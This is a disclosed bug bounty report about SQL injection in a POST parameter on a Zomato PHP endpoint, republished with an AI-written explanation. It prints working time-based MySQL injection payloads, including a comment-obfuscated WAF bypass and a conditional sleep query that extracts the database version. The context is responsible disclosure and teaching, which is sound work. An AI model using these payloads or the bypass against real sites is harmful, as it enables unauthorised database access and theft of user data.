[www.zomato.com] SQLi - /php/██████████ - item_id
A POST parameter on a Zomato PHP endpoint was vulnerable to SQL injection, allowing an attacker to run database queries. The reporter proved this with time-based tests that extracted the database version, which could expose private user data.
Originally disclosed on HackerOne
- Triaged in 4 hours
- Fixed in 13 hours
- Paid in 36 hours
- Disclosed after 10 days
Summary by the program
Thanks @gerben_javado for helping us keep @zomato secure :)
Summary by the researcher
Thanks to the entire @Zomato team for doing this challenge. Its a pleasure to be back in the bug bounty game after a while.
#Introduction
So I managed to find SQLi on https://www.zomato.com/php/██████████ in the POST parameter item_id. Debugging and exploiting this issue was somewhat confusing in the beginning because there seems to be database caching going on based on the int value that is given. So for example when you submit item_id=1111-stuffthatchangeshere multiple times the payload won't work anymore. In order to circumvent this caching you need to increment or decrement the integer before the payload every request.
Exploitation
I started of simple to really understand that we were dealing with a SQLi. The sleep command was the way for me to proof this and this worked quite easily using my previous discovered Akamai Kona Bypass:
POST https://www.zomato.com/php/██████████
Body: res_id=1111&method=add_menu_item_tags&item_id=1111-sleep/*f*/(10)&new_tags[]=3&menu_id=1111
From there I wanted to proof data extraction and came up with the following POC:
Response time: 6090ms
POST https://www.zomato.com/php/██████████
res_id=1111&method=add_menu_item_tags&item_id=1111-if(mid(version/*f*/(),1,1)=5,sleep/*f*/(5),0)&new_tags%5B%5D=3&menu_id=1111
Response time: 910ms
POST https://www.zomato.com/php/██████████
res_id=1111&method=add_menu_item_tags&item_id=1111-if(mid(version/*f*/(),1,1)=4,sleep/*f*/(5),0)&new_tags%5B%5D=3&menu_id=1111
This proofs that version() starts with a 5 and shows that we can extract data out of the database. At this point I stopped testing to write the report. Good luck fixing.
#Impact Full database access holding private user information.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the item_id POST parameter was concatenated into a SQL query without parameterisation or proper escaping.
Impact
An attacker could gain full database access holding private user information, though the reporter stopped after confirming version extraction.
What the attacker needed
Network access to the endpoint; a bypass for the Akamai Kona WAF
How it was found
- Send a POST request to the PHP endpoint with the item_id parameter containing a time-delay payload to confirm injection.
- Increment the integer before the payload on each request to avoid database caching of results.
- Use a conditional time-delay payload comparing the first character of the database version to confirm data extraction.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A SQL injection is when user input is placed into a database query without being properly separated, so an attacker can add their own database commands. Here the item_id value was inserted into a query, and the attacker made the database wait a few seconds to confirm the injection worked. That delay trick lets an attacker slowly read data one answer at a time.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.